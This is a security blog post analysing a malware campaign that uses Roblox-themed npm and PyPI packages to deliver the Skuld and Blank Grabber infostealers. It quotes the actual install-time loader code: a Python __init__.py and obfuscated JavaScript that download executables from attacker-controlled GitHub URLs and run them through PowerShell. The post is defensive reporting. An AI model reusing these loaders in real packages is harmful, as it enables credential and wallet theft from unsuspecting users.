Is Malware Hiding in Your Roblox Mods?
For decades, opportunistic cybercriminals have preyed on enthusiastic gamers by delivering malware via cracked games or mods. As the threat landscape has evolved, so have cybercriminal tactics.
Online gaming platforms like Discord and Roblox form massive, active user bases reliant on open source libraries for bots, plugins, game cheats and texture packs. Attackers target these communities with malicious npm and PyPI packages in relentless campaigns for illicit financial gain.
Attackers go above and beyond familiar tricks like typosquatting (where attackers use similarly named packages) to piggyback on association with gamers’ favorite tools to distribute malware. They are increasingly aligning packages with relevant themes, such as robloxmatcher or solaraupgrade, spreading them within the community itself.
Communities as Malware Vectors
Attackers exploit the trust-based nature of community platforms like Discord, YouTube and forums to deceive inexperienced developers and modders into installing tailored malicious packages.
File sharing between users is commonplace, and automated security tools often misses malicious scripts embedded in packages. In any case, users involved in game hacking are inclined to dismiss antivirus detections as false positives. Installation guides for game cheats often encourage users to disable antivirus and real-time protection, dismantling most safeguards against infection.
Discord as a Distribution Channel
Discord channels and direct messages are fertile ground for social engineering. Malicious actors will pose as community members and promote payload-laden tools ultimately aimed at credential harvesting and botnet creation.
For example, a user seeking help with Solara (a Roblox Lua script executor) might be directed to download a malicious npm or PyPI package. This action could deploy a remote access trojan (RAT) on their host.
Subreddits dedicated to Roblox modding contain evidence of this avenue of phishing, with some users rightly questioning the validity of the package installation commands given to them by bad actors. Below, users in the subreddit r/robloxhackers query the safety of npm packages getsolara and fixsolara, which are both malicious.
YouTube Tutorials
YouTube videos are a popular vector for malware distribution. Tutorials might promise “Unlimited Robux” via a malicious link, with bots leaving pinned comments to convince others of its veracity.
YouTube videos (translated from Russian) directing Roblox modders to Google Drive-hosted malware.
GitHub Issues and Comments
GitHub repositories related to Roblox development are also common targets. Bad actors hijack the issues section of legitimate projects, embedding malicious links in “bug fixes” or “feature enhancements.”
RobloxPlayerLauncher – A Persistent Infostealing Campaign
The Solara-themed packages mentioned above are part of an ongoing, cross-language malicious campaign we at Stacklok have tracked since last September.
PyPI Campaign Targeting Roblox Users
The campaign began by specifically targeting players of the Roblox game “Da Hood,” one of the most popular on the platform. Malicious packages such as antibyfron, dahood and roinject feigned credibility by mimicking links to Roblox development tools, including Byfron, an anti-cheat system for the framework.
An investigation by Imperva revealed both a YouTube channel and a Discord server advertising cheat tools dependent on the malicious packages, which were downloaded over 3,000 times. Upon installation, these would use PowerShell to download and execute a suspicious Windows portable executable (PE).
The script’s functionality was clear, thanks to unobfuscated code and comments. The malware was hosted on an attacker-controlled GitHub repository. Below is Python code from the __init__.py script of the package antibyfron; comments are original.
import subprocess
import os
# Define the output path for the downloaded file
output_file = os.path.join(os.getcwd(), "zwerve.exe")
# Step 1: PowerShell command to download the file using curl.exe
download_command = f'curl.exe -L https://github[.]com/holdthatcode/e/raw/main/zwerve.exe -o "{output_file}"'
# Run the PowerShell command to download the file
download_result = subprocess.run(["powershell", "-Command", download_command], capture_output=True, text=True)
# Check if download succeeded and the file exists
if download_result.returncode == 0 and os.path.exists(output_file):
# Step 2: Run the downloaded executable silently using the full path
execute_command = f'Start-Process "{output_file}" -NoNewWindow -Wait'
execute_result = subprocess.run(["powershell", "-Command", execute_command], capture_output=True, text=True)
else:
print("File download failed or file not found.")
Shifting Tactics – Moving to NPM
By mid-October, the threat actors behind this campaign shifted focus to the Node.js ecosystem, publishing Roblox-themed npm packages such as robloxmatcher, getsolara.dev, upgrade-roblox, solaraupdater, robloxbootstrapper and xeno.dll.
All had identical functionality — each containing an obfuscated JavaScript file to load additional Windows binaries via PowerShell. One difference from the PyPI samples was the delivery of two or three payloads, rather than one.
const urls = ["https://github[.]com/zvydev/code/raw/main/RobloxPlayerLauncher[.]exe", "https://github[.]com/zvydev/code/raw/main/cmd[.]exe"];
const outputFiles = [path.join(__dirname, "RobloxPlayerLauncher[.]exe"), path.join(__dirname, "cmd[.]exe")];
function downloadAndRun(_0x3b7236, _0x102edc) {
const _0x37a2f3 = "powershell -Command \"Invoke-WebRequest -Uri '" + _0x3b7236 + "' -OutFile '" + _0x102edc + "'\"";
const _0x421bc1 = "powershell -Command \"Start-Process '" + _0x102edc + "'\"";
exec(_0x37a2f3, (_0x3a523a, _0x3d32f7, _0x492c55) => {
if (_0x3a523a) {
console.error("Download error: " + _0x3a523a.message);
return;
}
[...]
});
}
urls.forEach((_0x2601bf, _0x4d4889) => {
downloadAndRun(_0x2601bf, outputFiles[_0x4d4889]);
});
Skuld and Blank Grabber Stealers
Analysis of the downloaded executables revealed that the payload `RobloxPlayerLauncher.exe` was a variant of Skuld, an evasive infostealer written in Golang, while `cmd.exe` was Blank Grabber, a Python-based information stealer. Both are derived from open source malware projects, with overlapping capabilities such as harvesting credentials, cryptocurrency wallets, browser history and gaming platform sessions via Discord Webhooks or Telegram bots.
Although file names and hosting services varied throughout the campaign, the core infostealer strains remained consistent.
By November, the operators had abandoned GitHub and shifted to Replit and Cloudfare Tunnel for hosting their tools, while incorporating new payloads like QuasarRAT, enabling persistent backdoors on victim machines. Recent iterations have streamlined the malware delivery to focus solely on Skuld stealer.
Summary
An ongoing campaign targeting Roblox users highlights how cybercriminals exploit active gaming communities to expand their blast radius. This tactic is far from unique – similar campaigns have deployed LunaGrabber, QuasarRAT and even ransomware.
To counter such persistent threats, modders must rigorously verify package authenticity, stay alert to social engineering tactics and exercise caution when engaging with recommendations from untrusted sources. Tools like CodeGate, -an AI coding assistant proxy, can help developers identify and avoid insecure dependencies.
